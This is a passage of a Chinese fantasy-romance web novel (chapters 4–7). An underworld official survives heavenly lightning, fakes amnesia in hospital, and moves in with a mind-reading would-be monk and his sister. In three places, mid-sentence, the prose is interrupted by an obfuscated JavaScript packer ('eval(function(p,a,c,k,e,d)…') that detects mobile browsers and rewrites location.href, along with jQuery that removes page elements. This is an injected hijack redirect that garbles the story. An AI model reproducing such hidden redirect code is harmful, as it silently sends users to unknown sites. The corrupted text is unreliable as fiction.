“我~去~你~丫~的~”只听大爷高声一喊,把脚上的橡胶雨靴直接甩了过来,说时迟,那时快,知道橡胶是绝缘体,万万没想到连天雷都能绝……“快游啊,别触电了!!!” 大爷,您真是全场mvp,宋宋又狼狈,又想笑,被这么一弄,求生的斗志反被激活了出来。 第三道第四道天雷接踵而至,但宋宋抱着慕乔,一通极限闪转腾挪,竟然真的都躲开了,而她也已经顺势游到了桥边。 “快,快,快拉上来。”大爷和顾清元,手忙脚乱地把慕乔往上拽着,此时河水已经在逐渐下退,河面与桥面之间的距离也被重新拉开了。 宋宋早已料到,往上送人的这一刻,第五道天雷是必须硬抗的,抗就抗。 巨大的撕裂感从上至下贯穿,恍惚间,她想起了曾经那个没有一丝光亮的深渊,被剜心后,扔进去的那个深渊。她在里面连人形都要维持不住了,整个人抽搐着仿佛砧板上已被剖膛破肚的死鱼。 明明是死鱼了,为什么还要挣扎呢?有人说,那不过是神经反射而已;但作为那条鱼,她觉得是真的发了疯得想活,哪怕不要命也要活下去,就是这么悖论又极端。 好在慕乔已经上去了,看着那抹鹅黄安安稳稳地躺在桥面上,就算此时灰飞烟灭,那也心安了。 河水已褪去大半,她肯定没法上桥了。 宋宋最后又看了顾清元一眼,其实模模糊糊什么都没看清,“恩,报完了,”她在心里默默想着,“从此以后两不相欠。”然后转身向河岸游去。 她还可以游,还可以游,游上岸就能活了。 那天雷呢?不知道了,也没有力气躲了,要劈就劈吧。 小时候无论游过什么冰川雪涧,她都从未觉得冷过,可此时此刻的这条河,却让她感觉彻骨的寒。 估计第六道天雷马上就要劈过来了吧,她竟然莫名有点期待,劈劈也好,或许还能暖和一点? 就在此时,一个温暖的身躯突然从后面贴了过来,把她整个人都小心地环在了怀里,隔着衣服传来的热度,让她几近灼烧起来,理智上想拼命推开,但却又难以克制的贪恋这点温度。 天雷被阻隔着,迟迟无法劈下,河水复又湍急起来,两个人离岸边越来越远。 “顾清元啊,”宋宋在心里无奈地感慨着,“真是一换一的无限循环……” 眼见又要被河流冲走之际,一张大网从天而降,把他们一齐圈在了里面。 “幸好今天带渔网了!”大爷再度hold住全场。 4. 他记得 “阿云,快上来。”一个面容极为清雅的男子,从船舷边伸出手,向宋宋焦急地唤着。 不能上船,她们说妖奴是不准上船的。宋宋沉默着摇了摇头,继续在翻滚的江流中奋力划水,努力跟上仙舟的行进速度。 “听话,我命令你立刻上来。”男子声调不由得高了几分,说到“命令”两个字时,略微有些不自然。 宋宋在水中一个翻身,直接跃到了船板上,她小心翼翼地和男子隔开了一段距离,一滴水都没溅到他身上。 “跟我来。”男子转身向里面走去,宋宋整个人滴滴答答落汤鸡似的跟在后面,船舱中雕栏玉栋甚是精妙,但她却只知道盯着男子的背影,对周围一切都视若无物。 “把湿衣服换下来吧。”男子带着宋宋走进其间一屋,从带有繁复钿金雕花的木柜中拿出了一叠衣服递过来。 “哦。”宋宋应道,干脆利落地就直接脱起衣服来。 男子一下愣在原地,潮红顺着脖颈一路向上延伸,烧过了端方的唇,烧过了直挺的鼻梁,一直蔓延到那双丹凤眼角…… “停!!!”梦里的男子和梦外的宋宋,一起大喊起来。 我的天啊,这都是啥啊,光天化日,朗朗乾坤,干嘛呢?! 不过……这太阳,这乾坤,郎朗的有点过分刺眼了……不是,这又是哪啊? “小伙子,快去叫大夫啊,她可终于醒了。”只听老大爷在旁边中气十足地喊了起来。 宋宋微皱着眉,正努力适应着周围的光线,白色的天花板,白色的墙面,她身上盖着白色的被子,被子里面……她吓得四处摸了摸,这是什么衣服? “是护士帮忙换的病服,”一直坐在窗边坐着的顾清元轻声说道,“稍等一下,我去叫医生。”随后低着头起身快步出了门,从头至尾没向这边看过一眼。 宋宋这会也终于稍微缓过来一点了,衣服,水里……掉水里……被雷劈,一网拉上了岸……昨晚的经历还有刚刚奇怪的梦,两件事后劲都太大了,一时半会实在无法全然消化。 但不管能不能接受,新的一波冲击又紧锣密鼓开始了。 只见老大爷一个响指,门外来来回回的病人和医生,门内输液吊瓶中规律落下的点滴,整个时空都静止了下来。 “宋宋,你们这帮上上下下的,可真没一个省油的灯啊。” “昙…大爷?冥王?华?” “不然你以为?随手一只靴子就能挡天雷?”昙·老大爷版·华傲娇地扬了扬略秃的头。 “冥王……我……”宋宋脑子已彻底宕机短路,完全不知道要在我字后面加些什么…… “你先闭嘴吧,时间不多,老实听我说,”昙华快速说道,“一、你那雷刑还没劈完,往后七天,必须和顾清元待在一块,他能帮你躲过去。” 对不起,刚听完第一条就已经脑瓜子嗡嗡的了。 “二、他虽然没死,但七天之后,也就是原本的头七一过,所有妖魔鬼怪吃他、杀他、夺舍他都算合法。 ……有点不知道自己一通折腾图啥了。 “三、所以,你给我转岗到上面看着他,拿他当饵,把该钓的全钓出来。” 是的呢,友友,竹篮打水一场空呢,不用怕顾清元去下面找你了,你得在上面天天和他贴贴了,开心嘛?宋宋被气得甚至有点想笑,恨不得直接开始摆烂发癫。 “还有第四条,是朗宁和奉岚的处置,”昙华当真不愧是干了万年的老油条,情绪拿捏得死死的,“冥界这边我说了算,你在上面这段时间,作为惩罚,奉岚会替你代管万古愁,” “那朗宁呢?”宋宋急声问道,语调甚至止不住地发颤。 “她让我给你带个话,”昙华沉声说道,“劫数天定,与旁人无关。她要去实现人生第一目标了。” “她把司命仙君杀了?”宋宋一下子急得恨不得立刻飞到天宫去。 “……闭嘴吧你,”昙华一脸恨铁不成钢,“司命殿有自己的规矩,她被罚下去帮那个主掌因缘的仙君渡劫去了。” “啊?那她现在也在这边?”宋宋大力挥着手,指着窗户外边,向他示意着。 “不在这个时空,送去古代了。”顿了顿,昙华又语重心长地说道,“所以,要想再见面的话,就把你这个情劫好好渡过去,这样才有机会去那边帮她。” 宋宋没有答话,转头看向窗外,万里无云,阳光明媚,可她却觉得外面天地空荡荡的。 在这种空荡荡里,一种一种不知由何而来的沉静,从心底慢慢升了起来。 她复又看向冥王昙华,正色说道:“昨夜过后,我被封住的那三年记忆好像恢复了一点,您知道是什么原因吗?” 顶着老大爷脸的昙华终于安心地长舒了一口气,随即一个响指,周围一切重新运转起来。 他站起身,把地上搁着的双肩包咔咔一背,又把小马扎一合一拎,大步向门外走去,边走边爽朗说道:“这个你自己慢慢想吧,反正和挨雷劈是真没关系,犯不上摸电门瞎试了哈。做好事,不留名,拜拜了您嘞~”,彻底消失在里走廊里来来往往的人群之中。 宋宋深吸一口气,把身上的被子一掀,直接坐了起来,开始认真打量起周围的一切,既来之,则安之,一步一步慢慢来吧。 —————— 顾清远这边,在快步冲出病房后,并没有急着去叫医生,反倒拉开一扇消防门,跑到外面的楼梯间,背靠着墙壁缓缓坐了下来。 太吵了,周围的一切都太吵了。整个医院里,所有人说出来的话、没说出来的心里话、还有混杂在其中,各种游魂野鬼不甘心的哭嚎、咒骂一并往他脑子里涌进来。 他本来早就可以控制好读心的技能了,但昨天强行施法压下洪流后,现在到底还是撑不住了。 这种感觉仿佛又回到了他父母车祸去世的那天。 那时候他刚刚七岁,拎着一只小熊,呆呆地等在急救室外。 医生和护士来来回回的出来进去,路过他时,会勉强笑一笑,安慰他说:“乖,别怕,会没事的。”可一转过身,他却听见了他们的心里话。 “已经不行了,颅骨完全碎了。” “孩子这么小就成孤儿了,太可怜了。” 他紧紧咬着嘴唇,眼眶憋得红红的,却执拗地抬着头,一滴泪都不敢往下流,不能再给他们添麻烦,他要安安静静等着,做个好孩子。 然后,周围的声音更多了。 “哎哟,这个小丧门星噢,年纪小小克死双亲哦。” “你爹妈好吓人啊,那个样子,我们当鬼的都不敢看。” “你也去死吧,一起死吧,死了不就团圆了。” “你爸妈就是被你害死的。” 讥讽与咒骂声哪怕是捂住耳朵,也一刻不消地往他脑子里面扎。 “不是这样的,不是这样的,”他在心里高声喊着。 “诶?他听得见,他听得见!”一下子周围的声音更亢奋了。 “怎么不是啊?不是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259171|166519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过生日要吃蛋糕,他们今天会开车出门吗。” “你这个没良心的,不孝子,白眼狼哟。” “白眼狼,白眼狼,狼崽子为了给自己过生日,喝父母的血,吃爹妈的肉噢。” “不是,不是,我不是。”就在他将要崩溃的时候,一道金光突然从身后照了过来,瞬间,所有声音全都消退了。 他猛地转过头,只见一个头顶光秃秃的中年大叔,穿着一件黄色长袍向他走了过来。 “孩子,别怕。”大叔拍了拍他,“我陪着你,等他们出来。” 在那位僧人的陪同下,于黄昏余晖中,他看见父母神色如常,一脸微笑的从门里走了出来,俯身蹲在他面前,给他唱生日快乐歌,许愿要他一定要好好长大。 他也努力笑着,也想许愿祝大家都幸福快乐,可泪水却不受控制的大颗大颗砸下来…… 从那一天起,他的人生发生了天翻地覆的变化,原有的世界彻底崩塌。 慕乔的父母本已定居海外,但听闻挚友双双离世,毅然回国收养了顾清元。 而也是从那天起,他被那位中年僧人正式收为关门弟子,在正常学习生活之余,随师父一起听经修法。 在昏暗的楼梯间,顾清远拿出手机,缓缓按亮屏幕:农历四月十八,11:53。 佛吉祥日,本来此刻,他应该在山上的盛仙寺中剃度出家。 可现在……他抓了抓略显凌乱的头发,心下一片烦乱。 他用手指轻划解锁,一条条消息接连跳了出来。 师父:“清元,修行在心不在境,在法不在相。随心过好每一天,切勿偏执。” 慕乔:“怎么样,姐姐醒了吗?要不要我给你们带衣服过去?” 慕乔:“已经拿好衣服准备出发了,要不要再带点饭?” 慕乔:“已经在买了,我再顺手带点奶茶~” 慕乔:“堵在路上了,估计得十二点多才能到了。” 慕乔:“哈哈哈哈哈哈,你没出成家可真好,哈哈哈哈哈哈” ……手指微抬,手机屏幕被果断按灭。 或许真的是有什么慧根吧,初中暑假和师父在山中静修时,他对自己的前世便早已了然尽知。 但在他看来,那不过是一段别人的记忆而已,和他今生并无太多关联。 就好像去电影院看了一场电影,故事看明白了,稍微感慨几天也就结束了。哪有人会和电影角色百分百感同身受,又怎么可能以幻为真,入戏到真把自己当戏中人。 每每与师父谈及此事,他都义正言辞,觉得因缘过往不过如此,断情绝爱,一心求道,才不枉此生再度为人。 可师父却总是笑笑,闭口不言。多争无益,时间到了,一切自有分晓。 刚刚在病房中,他突然回想起前世她落水时的样子,也是那样湿漉漉的,及腰长发一缕一缕缠在衣服上,弯弯曲曲勾勒着身形。 真是活见鬼了,之前平平无奇的记忆,这回却像被润了色一般,几千年前的惊慌,焦急,害羞,手足无措,和那一丝丝莫名的情愫,竟一并透了过来…… 所以,他才逃也似的跑到了这。 但逃得了一时,终究逃不了一世。 顾清元缓了缓,站起身来,先去叫医生把正常流程走完吧,虽然明知她并不需要这些人间的医疗手段。 “还有……”他拉开厚重的铁门,心中稍许愤懑不平地想着,“我怎么就说话又夹又做作,鬼迷日眼,啥啥都不行了?” 5. 旧词调 按昙华的话来说,不论是做冥官,还是做阴司鬼差,都要拿出服务意识来,让新来到冥界的人类,可以迅速适应这边的生活,体会到宾至如归的安排! 所以冥界的发展万万不能和人间时代脱节。 在冥王昙华的不断努力完善下,冥界一直与时俱进,和人间几乎保持着同样的节奏。 当然,在这种进程中,鬼差阴司上任前的岗前培训刻不容缓,而针对冥官的定期人间培训课程也是必不可少的。 宋宋虽然镇守万古愁,针对的“客户”都是入幽冥后,为情所困,不愿转世,在成魔边缘反复试探的选手。但有关人界的工作课程培训,还是被强逼着一期不差完成了。 整个培训内容大概就是在人界如何巧妙地为自己完成身份的搭建,以及各种人间生活注意事项。 当时在结业考试中,奉岚一马当先力拔头筹,洋洋洒洒写出的论文质量简直比教科书还专业。 毕竟他主管生死簿,每每有阴差阳错发生变化的时候,都需要他亲自来人间核对。 而宋宋在自己的观云台,挑灯夜战,赶在ddl前夜交上了自己的答卷,靠着自己的“聪明才智”成功擦边飘过了。 不同于奉岚的各种周详设计,宋宋选择以不变应万变!不论遇到何种状况,一以贯之的策略,就是直接装失忆! 尤其在认真观摩了各种当代电视剧后,越发觉得自己简直是个天才,是如此切合时代潮流。 而且装失忆这件事情,进可攻,退可守,能想起来什么不能想起来什么,从什么时候开始失忆,又是什么时候突然说恢复就恢复,全能由自己一手安排掌控。 好上手,方便快捷;同时又能见机行事,随时调整,简直完美! 宋宋在起身观察了一圈病房大体状况之后,便直接老神在在地坐回到床上,决定等顾清元一进来,直接开始装失忆就完事了。 至于之后的人设身份,看情况给自己慢慢瞎编就行了,车到山前必有路,大胆点,尽情开! 顾清元带着医生回来,大老远就听见这个病房里的心声格外古怪。 别的屋子中都期期艾艾,或埋怨或祈求,唯独她这一间,单曲循环一样,反复在自吹自擂,疯狂赞美着自己的智慧,一心歌颂即将准备开展的失忆大计是多么天衣无缝,无懈可击。 在推门进去前,他甚至忍不住轻声笑了笑,好奇一会她准备怎么开演。 而这一笑,着实也把他旁边的中年男医生惊到了。午饭刚刚吃了一半,就被迫过来出诊的医生在心中默默吐槽着:“一天到晚这是整那出啊,人家晕过去大半天了,他竟然还笑,没心没肺。” 从昨天晚上开始,他就对这一屋子人无甚好印象。大半夜的,一行四人,那个钓鱼老头看起来浑身上下还算周正,应该就是热心帮忙的,而剩下这一男两女,明显全都是跳过河。 能有什么事?能为什么事! 之前先出院的那个是可爱甜美型,屋里晕到现在的这个是清冷气质卦,这一个个的竟然都为这小伙子争风吃醋到跳桥。 还笑?他竟然还笑得出来? 看起来温温柔柔的,实则温柔刀杀人不见血啊。医生默默皱了皱眉,对顾清元的揣测更加复杂了几分。 而门这边,在做好计划之后,宋宋还在心里反复描摹推演着一个失忆的人应该会有的样子。 是要满脸困惑?还是困惑为辅,惊惧为主,表现得不知所措一点?或者直接痛苦的抓头发,做苦苦回忆却不得的样子更靠谱? 还在她踌躇着不知道摆上哪种神情,计划要如何开场的时候,顾清元就直接推门进来了。 不知道是不是夏日阳光的勾勒,现在白天看起来,他比昨晚月夜下,还有梦中那道的身影,显得要更加温煦柔和。 他皮肤极白,连带着发色也是暖暖的浅棕色,唯有一双眸子,确是黑的出奇。 新换上的浅米色衬衫宽宽大大罩在身上,他进来后便顺势斜倚在了宋宋的床尾,安安静静地看着她,整个人莫名有点人淡如菊的味道。 但在宋宋特有的比喻系统运作下,她在心里默默处理一番后做出了今日份判词:“啧,好像一块正在晒太阳的老陈皮。” 顾清元微微皱了皱眉,一脸欲说还休。 可没时间让他们这么眉来眼去了,吃了半截的排骨饭还在科室里摆着呢。 医生直接大步登场,正式开麦:“醒了?叫什么啊?今年多大?”边问边拿起笔准备开始刷刷写记录。 医生的这一出现,直接让问题复杂起来。 宋宋突然惊觉,在自己的堪称完美计划中,有个惊天纰漏,那就是失忆这件事,在其他地方,和其他什么人都好说,唯独在医院,对着医生很难说。 怕是会直接被扣在这里,没个十天半个月都出去,出去的话,也可能是直接转院进什么精神类…… “宋宋,我叫宋宋。”她表情淡定地回复着,心中却早已兵荒马乱,战鼓雷鸣。 “年龄?” “……”假话没编好,真话不敢说。 看她说话态度迟疑,又吞吞吐吐的样子,医生一时间更火大了,年纪轻轻的一天到晚不干正事,为了这点子情情爱爱寻死觅活。 但对着她这样的一张脸,一时间又说不出什么重话。明明这么英气的小姑娘,为了一个男人沉沦成这样,看着真是让人来气。 医生把本子和笔放下,一脸准备为年轻人指点迷津的表情,对着宋宋问道:“你们两个是什么关系啊?” 我们俩是什么关系呢? 前世拉拉扯扯不清不楚的关系,昨晚刚刚互为救命恩人的关系,是她真失忆想不起来了的关系,是她企图装失忆重新搞出点关系的关系…… 但无论是哪一种,都是无法宣之于口的关系。 宋宋沉思良久后,对着医生一脸苦笑答道:“我不认识他,我们两个没有关系。” 医生一下子觉得一个脑袋两个大,搞不清楚是她在闹脾气,还是两个人真的不认识。要是后者的话,那这可就不算情感纠纷,搞不好还要带点刑了。 可疑简直非常可疑,医生眉毛几乎皱成了一团,严肃问道:“那你家属呢?我们得和你家属联系一下。” 问到家属这一块,宋宋觉得更是彻底问进死胡同里了,普天之下,哪里还有她的家属。 曾经有过的,但和现在也隔了不知几千年了。她在心里暗暗想着,如今已不知在何朝何代的朗宁,长长叹了一口气。 殊不知这幅样子和这句心声落在顾清元心里,又被理解成另一层含义。 在医生彻底暴走之前,一直在旁边静静听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见她一直没有说话,他复又微微弯下腰,对她认真说道:“对不起刚才撒谎了。但昨天晚上,你也知道,情况确实太复杂了,对吧?” 一双被宋宋批为“妖妖调调”的眸子,晦暗不明的波动着,却又那么直直地望着她,毫不退缩。 结尾的“对吧”,语调平缓温和却又似乎带有无限可供遐想的空间。 宋宋也以一种“你瞅谁”“瞅你咋地”双方对峙不能怯场的气魄,直直瞪着他。 昨天晚上……确实复杂至极,光是各种又发洪水,又天打雷劈这些事,就属于完全没法解释,按冥界章程属于必须保密的内容,她在心里一步一步复盘着,还有最后,最后他又跳下水,把她抱在怀里…… 打住吧!我的天啊,宋宋在对视中一时败下阵来,低头躲闪了几秒。 随后又猛地一个抬头,字正腔圆,理直气壮地说道:“没关系,我失忆了,什么都不记得了。” 顾清元愣了愣,缓缓直起身来,一脸高深莫测却依旧温柔和缓地笑道:“哦,这样啊。” 第一次见到有人能失忆失的这么威风凛凛,天经地义。 不过如果前世记忆算上的话,这是他第二次见证她的失忆了。 6. 始沉沦 不等他们开启下一个回合的试探与胡诌,病房门“啪”的一声被打开了。 娇娇小小的慕乔,手里拎着一堆大大小小各式各样的袋子直接闯了进来,整个人的身影几乎都被袋子们淹没了。 一瞬间宋宋甚至以为进来的是哪吒,看起来风风火火又三头六臂的。 “姐姐,你终于醒了!怎么样?有没有哪里不舒服?”慕乔把袋子往桌上一堆,朝宋宋急急走了过来。 “都好,就是好多事记不大清了。”宋宋装作低头沉思,开始惺惺作态地表演起失忆的样子来。 终于能按剧本开演了!宋宋在心中暗爽着。 “姐姐,你昨天晚上救的我啊!你没忘吧?”慕乔看宋宋一脸迷茫,转头又急急看向顾清元,“医生来了吗?我去叫医生!”说完便向门口冲去。 “慕乔!”顾清元出言拦住了她,“她刚醒,先缓一缓。” 缓过来了,缓过来了,一听她说要叫医生,宋宋就决定片段式地把这段想起来了,稍显迟疑地说道:“我好像有印象,盛仙桥?是在那吗?” “对对,姐姐,就是在那。”慕乔跑到宋宋床边坐下,像只花蝴蝶一样飞了过来,一身宝石蓝色的裙子,把整个人被衬得明媚可爱,像块大白兔奶糖。 慕乔还想和宋宋说话,却被顾清元打断了。 “慕乔,先吃再说吧,一会该凉了。” 顾清元在一堆袋子中仔细翻着,有日料有韩餐有牛排甚至还有麻辣香锅,难以想象她是如何刷屏式下单的。 他顿了顿,在前世记忆中快速检索了下曾经相处的过往,短暂思索片刻后,谨慎地从其中挑出了一袋小笼包,又在韩餐里拿出了一碟甜辣口味的小菜,最后又挑了一杯椰香奶茶。 慕乔这边,则风风火火地正在把病床上的小桌子支起来,整个人莫名散发出了一点可疑的温婉贤惠感,和昨晚初见时的娇俏人设很不搭。 看他们两个忙来忙去,宋宋一时间也有点慌,怀疑自己是不是装虚弱装过了头,努力找补着说道:“我其实,可以下床的……”其实,甚至连饭都可以不吃的…… 可还没等她直起身又被慕乔一脸嗔怪地按了回去:“姐姐你好好等着就行,我买了好多吃的,也不知道你喜欢吃什么?” 宋宋无奈答到:“都行,我什么都行。” 如果之前纯属胡扯,但这句什么都行还真的是句十足十的真心话。 冥界中虽然也有自己的饮食,但其实主要还是为初入冥界的“新人”准备的,吃饭也多半是为了满足心理需求,突然一日三餐完全不吃,一时半会还有些不习惯。 阴司鬼差其实就已经可吃可不吃了,而到了冥官这一档,大家基本默认他们就应该吸风饮露,吸收点天地灵气之类的东西。 为了满足大家这种莫名其妙的“期许”,同时也是由于她本人半社恐的性格,宋宋除了冥界上下大庆,全员大聚餐之外,平时常年就在自己的观云台,安安静静“吸灵气”过活。 而就像前夜重华殿大宴聚餐那样,基本也就是有啥吃点啥,不挑食,不厌食,但也没什么自己的喜好。 顾清元把专门挑出来的几样,收拾地妥妥帖帖拿了过来,筷子碟子摆得整整齐齐,吸管也直接插好。整个人不声不响地安置好了一切。 全都摆好后,他突然有点恍惚,明明是第一次做这些事情,却又对这些熟悉到仿佛不用过什么脑子,纯靠下意识就做完了。 顾清元有点心虚地看了一眼慕乔和宋宋,慕乔今天注意力一直都在宋宋身上,完全没怎么看他;而这位宋宋则处于装娇弱装得一惊一乍的不断自我调试状态中,也并没有什么闲心分神想他。于是这才安下心来,又回到之前窗边的椅子旁,安静坐下。 慕乔一脸期盼地说道:“姐姐,尝一尝!好不好吃!” 自然得是好吃的,就为了她这份心意,也要表现得诚挚一点,宋宋先喝了口奶茶试了一试,咦,当真不错!整个人头皮都舒展开了,一下感觉昨晚被雷劈好像也不是什么事了。 她又立刻试探着拿起筷子戳了戳小笼包,这个东西她是知道的,当年做鲛人的时候听说过没见过,当了冥官之后,在冥界内虽然属于寻常食物,但她因为怕麻烦,也并没有去吃过。 拿人间打比方的话,阴司鬼差就好比民警刑警,平时出入鬼市,也实属寻常,而像冥官,则属于特警那一类的,突然一出现,总会让人感觉是不是发生了什么重大问题。 宋宋深谙此道,故而常年幽居观云台,一向很少露面,但因此众鬼间对她的编排也愈发魔幻,在这种恶性循环之下,她也就真的只能安心静气,赶鸭子上架般变成“不食烟火”的模范冥官了。 今天终于要试一试了! 在慕乔的殷殷注视下,她小心翼翼地夹起来,咬了一口。 好好吃!好吃到一下子觉得渡劫这件事都势在必得,必须搞过去,渡不过去,最多再吃三个月;渡过去了,她还能再吃个千年万年! 看宋宋吃得高兴,慕乔也终于稍稍安心了一点,得意地回头看向顾清元,孔雀开屏一般炫耀道:“你看,我一下就能买到姐姐爱吃的,厉不厉害!” “嗯,厉害,你最棒。”顾清元淡淡地回应着,整个人松弛地浸在正午的光影中,温吞而又模糊。 慕乔转脸又试探着向宋宋发问:“姐姐,你叫什么啊?” 宋宋边吃边答到:“我叫宋宋,你呢?”虽然已经知道,但还是要再明知故问一下,啧,我真是太聪慧,太机智了,哪怕在美食诱惑下,也如此张弛有度,不愧是我! “我叫慕乔,爱慕的慕,乔木的乔。姐姐,你昨天晚上,为什么一个人在那边啊?多危险啊!” 是啊,我为什么去那?宋宋喝着奶茶,做沉思状表演,想着如何恰到好处的恢复一些记忆。 总不能说是查完生死簿专门过去见义勇为吧,同时又要把失忆这件事尽量合理化一点。 “我之前做了一个梦,梦里有人让我去桥上等他,我就去了。结果现在只记得梦里的事,现实世界的事反而想不起来了。” 宋宋说完后,屋里三人都陷入了各自的沉默之中。 虽然是撒谎,但也莫名勾勒出了她心中真正的疑惑,想搞清楚之前在人间生活的三年记忆为什么会彻底隐去,而她和那个时隔了三千年,如今又在梦中出现的人,到底有怎样的过往。 顾清元静静看着她,纤长的手指下意识地摩挲着右手腕骨上的手串,一颗一颗平常无奇的檀木珠再一次被熟稔捻过,当摸到一颗深红色稍大一些的珠子时,他却第一次在这停顿了。 不能再分心了,昨天晚上他强行催动法力压下洪水时,这个东西就险些跑出来,眼下情况于他心中早已算是越界。 他继续快速转动起念珠,虽然表情始终淡然未改分毫,可心中却毫无来由的烦躁起来,在烦什么呢?应该是烦要如何找借口划清界限,再无瓜葛吧,为自己又要撒谎所以烦躁不安吧? 可就在这时,他又听到宋宋施施然的心声:“今日记忆恢复额度到此结束,但又得想办法和顾清元混在一块,把余下的七天雷劫躲过去……啧,头疼!” 而慕乔则在一旁也安安静静想着自己的心事,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259173|166519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦中人?”她在心中反复思索着,甚至第一次有点理解了顾清元想要出家的想法,有些缘分确实好玄妙。 “我……”把桌上小笼包都吃完后,宋宋率先打破沉静,但开了口,又觉得自己着实想不出要怎样提这种要求。 人生地不熟的就要住到别人家里,想想就觉得出离尴尬,还不如直接去挨雷劈!当然,这种事在心里想想过过瘾也就行了,真劈起来又着实遭不住…… 她默默下定决心,等一会出院后,直接悄悄尾随顾清元就好了,挡雷劫这种事只要待在同一个屋檐下就好,到时候她随便藏在楼里也就过去了。 打定主意后,宋宋轻快说道:“我觉得我好了,可以出院了!” “嗯,那你记得你家在哪里吗?”顾清元在角落里轻声发问。 慕乔也紧接着追问道:“而且姐姐,你不是现在各种记忆都断断续续的,怎么就算是好了?” 顾清元叹了口气,缓缓接着说道:“恕我直言,你这个梦有些奇怪,很可能是有邪祟侵扰,失忆或许也是和这个有关系。如果你相信我的话,可以和我共住一段时间,我能帮你驱邪。” 说完这一长串,他便彻底低头把玩起手串来,神色暧昧不明,落在外人眼中只觉得是一脸高深莫测、运筹帷幄。 宋宋:“……” 心情很复杂,难以接受他竟然是这种类型的江湖骗子,但似乎又得庆幸他是个江湖骗子…… “对对对!”慕乔也在一旁赶快搭腔,“姐姐,我哥哥在降妖除魔这方面确实很有本事,这个你真的要信他。” 宋宋咬着牙,努力挤出点千恩万谢的样子,僵硬答道:“……那就麻烦你们了。” 看她应下来之后,慕乔立刻去那堆袋子里翻出了一个,塞到宋宋手中,让她换上衣服,好出院回家,生怕她反悔变卦。 宋宋被她半搀半推地送进了卫生间,打开袋子一看,一条红色长裙,果然很符合慕乔的风格。 长裙极度修身贴合,她只对着镜子看了一眼便觉得头晕目眩,怀疑慕乔在拿她当芭比娃娃玩。默默立志一定要好好和冥界站点联系上,把人设速速搞好,改头换面。 顾清元心慌意乱,也正不堪烦恼,他今天是一个谎接着一个谎的撒,本来应该彻底清净出家的日子,现在到加倍沉沦上了。 只有慕乔,是真的开心,办好出院手续,带着他们俩欢欢喜喜坐上电梯去往地下车库。 电梯在每层几乎都要停一下,上上下下人来人往,从高层到地下,要比平时花上更多时间,说来也奇怪,似乎是为了对抗这种焦躁又涣散的感觉,在这种嘈乱环境中,反倒冒出点灵感。 “会不会是因为身体接触,所以记忆恢复的?”宋宋在心中暗暗想着。 “对不起,我有点晕。”她用手扶了顾清元的肩膀一下。 毫无效果。 “哦,好了,不晕了。” 迅速又将手撤了回来,心里继续推敲着,那到底是怎么样才能恢复记忆呢?之前那一段是怎么来的呢? “原来她真的忘了。”顾清元静静想着,“所以说失忆,半假也是半真……” 虽然说非礼勿听,但因为昨晚强行动了法力,今天属于是想不听都不行了。 “叮。”大厅一层到了,电梯里的人一下子全出去了,只剩下他们三人去往地下。 终于清净了,顾清元刚要松一口气,一瞬间又直接难以置信地屏住了呼吸。 他听见身边那位可可爱爱穿着蓝色长裙的妹妹慕乔,正在羞赧暗喜着:“自古红蓝出cp。” “……” 7. 鬼打墙 从医院出来,稍微商量了几句后,便由慕乔开车,向顾清元家中驶去。 毕竟从昨天晚上到现在,几乎都没怎么休息,不论各自有什么想法,当下都折腾得很累了。 三个人上车之后,慕乔全部精力都用在了专注开车上;顾清元在一旁静静闭目养神,似睡非睡;宋宋则在后座斜倚着车窗,饶有兴趣地看向外面,任凭正午的阳光斑斑驳驳洒在脸上。 他们从车水马龙的闹市区穿过之后,外面的车辆陡然开始减少,向前又行了一阵后,路边的店面招牌也渐渐全部消失,两边只剩下排排密林。 整条路上空无一人,似乎整个世界只剩下蝉鸣声,聒噪却又空寂。 顾清元他家这是住哪啊?宋宋在后面静静想着,真有意思呢,不知道的以为又开回冥界了,这条路如果把马路换成台阶,倒是像极了奉岚幽微阁前的那条山路。 她眯了眯眼,又认真向外看了会。 如果没看错的话,同一棵枝杈斜倚的柏树,似乎已经第二次出现了。 宋宋直起身,一时间也拿不准到底是怎么回事。是奉岚在提示她什么?还是单纯遇到了“鬼打墙”? 但如果是鬼打墙的话,也有点离谱了,这光天化日大中午的,得是多硬的角色,才能这会出来搞事情? 就在这时,她看见了路边有一个民国打扮的双马尾女生,举着手,似乎想招手拦车。 整个人前仰后合又摇摇摆摆,用肢体语言充分展示着自己的“鬼格特色”。 慕乔轻轻惊呼:“诶!好像……” “接着开,不用管。”宋宋拦住她的话茬,果断说到,“她在路边跳操呢。” 民国女生:“……” 顾清元也睁开了眼,静静看着窗外,默不作声。 “好吧,”慕乔稍显犹豫地说道,“今天怎么开了这么久,之前好像没走过这条道啊,我是怎么开到这的?” 这是什么道?意想不“道”,宋宋在后面暗自碎碎念着。 向前开了几分钟后,那棵枝杈斜倚的柏树又出现了,然后不出所料,那位拦路少女也又又伸着手朝这边走来,这回离得更近了,整个人哪怕是站在阳光下,也是一片森森然,而且竟然连个影子都没有。 